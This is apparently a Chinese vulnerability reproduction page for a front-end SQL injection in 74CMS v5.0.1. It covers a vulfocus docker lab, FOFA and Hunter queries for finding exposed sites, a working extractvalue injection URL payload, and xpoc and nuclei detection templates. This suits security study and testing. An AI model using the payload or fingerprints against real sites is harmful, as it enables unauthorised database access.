74cms-v5.0.1-SQL注入
# 74CMS v5.0.1 前台SQL注入
# 1)漏洞信息
漏洞名称 | 受影响组件 | 漏洞类型 | 漏洞编号 |
---|---|---|---|
74CMS v5.0.1 前台SQL注入 | 74CMS (opens new window) | SQL注入 | 暂无 |
漏洞描述 |
---|
骑士CMS人才招聘系统是基于 PHP+MYSQL 的免费网站管理系统源码,提供完善的人才招聘网站建设方案。强大的猎头、校园招聘系统、微信端、小程序、红包职位等更多实用功能。 骑士CMS v5.0.1 版本的 AjaxPersonalController.class.php 文件中存在一处 SQL 注入漏洞。 |
参考链接 |
---|
补丁或修复方案 |
---|
|
网络空间测绘 | 语法 |
---|---|
FOFA | app="骑士-74CMS" body="<meta name=\"copyright\" content=\"74cms.com\"/>" body="<meta name=\"author\" content=\"骑士CMS\"/>" |
鹰图 | web.body="<meta name=\"copyright\" content=\"74cms.com\"/>" web.body="<meta name=\"author\" content=\"骑士CMS\"/>" app.name="74cms" |
# 2)漏洞环境
使用vulfocus (opens new window)镜像搭建漏洞环境
docker pull vulfocus/74cms_cve_2020_35339
docker run -itd -p 80:80 vulfocus/74cms_cve_2020_35339
1
2
2
然后访问 80 端口即可看到 74cms 网站。
- 后台地址为
index.php?m=Admin
。 - 后台账号密码皆为
adminadmin
。
# 3)漏洞复现 - 手工
注意:利用该漏洞之前,必须登录一个前台账号,登录后台账号不行。
- 注册:该环境未配置短信模板,所以不能自行注册。
- 添加前台用户:你可以先登录后台,然后在功能点 “个人 --> 个人会员 --> 添加会员” 添加一个前台用户。
添加用户之后回到前台,点击左上角 “登录 --> 用户名登录” 输入刚刚添加的用户名和密码,登录一个前台用户。
登录前台用户之后,在 URL 中添加以下 Payload:
/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(123456))) -- a
1
然后 SQL注入 就成功了。
# 4)工具脚本
# xpoc
name: poc-yaml-74cms-sqli
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
expression: response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
expression: r0()
detail:
author: jinqi
links:
- https://www.t00ls.net/articles-54436.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# nuclei
id: 74cms-sqli
info:
name: 74cms Sql Injection
author: princechaddha
severity: critical
description: A SQL injection vulnerability exists in 74cms 5.0.1 AjaxPersonalController.class.php.
reference:
- https://github.com/possib1e/vuln/issues/3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
tags: 74cms,sqli
metadata:
max-request: 1
variables:
num: "999999999"
http:
- method: GET
path:
- '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5({{num}}))) -- a'
matchers:
- type: word
words:
- '{{md5({{num}})}}'
part: body
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
编辑 (opens new window)